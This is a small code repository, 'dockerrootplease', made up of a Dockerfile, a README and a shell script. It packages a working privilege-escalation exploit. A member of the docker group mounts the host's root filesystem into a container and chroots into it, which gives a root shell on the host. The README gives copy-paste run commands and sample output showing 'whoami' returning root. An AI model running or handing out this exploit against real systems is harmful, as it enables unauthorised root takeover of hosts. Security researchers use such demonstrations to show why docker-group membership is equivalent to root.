Repository: chrisfosterelli/dockerrootplease
Branch: master
Commit: 7c0f0ea97451
Files: 3
Total size: 1.5 KB

Directory structure:
gitextract_m8uks8r2/

├── Dockerfile
├── README.md
└── exploit.sh

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FILE CONTENTS
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FILE: Dockerfile
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FROM ubuntu:20.04
COPY exploit.sh /exploit.sh
CMD ["/bin/bash", "exploit.sh"]


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FILE: README.md
================================================
Root Please
===========

If you're a member of the 'docker' group on a machine, this command gives you a
root shell on the host OS. [See my blog post for
details](https://fosterelli.co/privilege-escalation-via-docker).

How to Use
----------

Through Docker Hub:

```bash
> docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
```
 
Or through Github:

```bash
> git clone https://github.com/chrisfosterelli/dockerrootplease rootplease
> cd rootplease/
> docker build -t rootplease .
> docker run -v /:/hostOS -it --rm rootplease
```

And the result:

```bash
johndoe@testmachine:~$ docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease

You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root
# 
```


================================================
FILE: exploit.sh
================================================
if [ ! -d "/hostOS" ]; then
  echo
  echo ==== ERROR ====
  echo It looks like /hostOS does not exist
  echo Please run this docker image with a /hostOS volume mounted to /
  echo For example: docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
  echo
  exit
fi

if [ ! -f "/hostOS/bin/sh" ] && [ ! -L "/hostOS/bin/sh" ]; then
  echo
  echo ==== ERROR ====
  echo It looks like /hostOS does not contain a root filesystem
  echo Please run this docker image with a /hostOS volume mounted to /
  echo For example: docker run -v /:/hostOS -it --rm chrisfosterelli/rootplease
  echo
  exit
fi

echo
echo You should now have a root shell on the host OS
echo Press Ctrl-D to exit the docker instance / shell
chroot /hostOS /bin/sh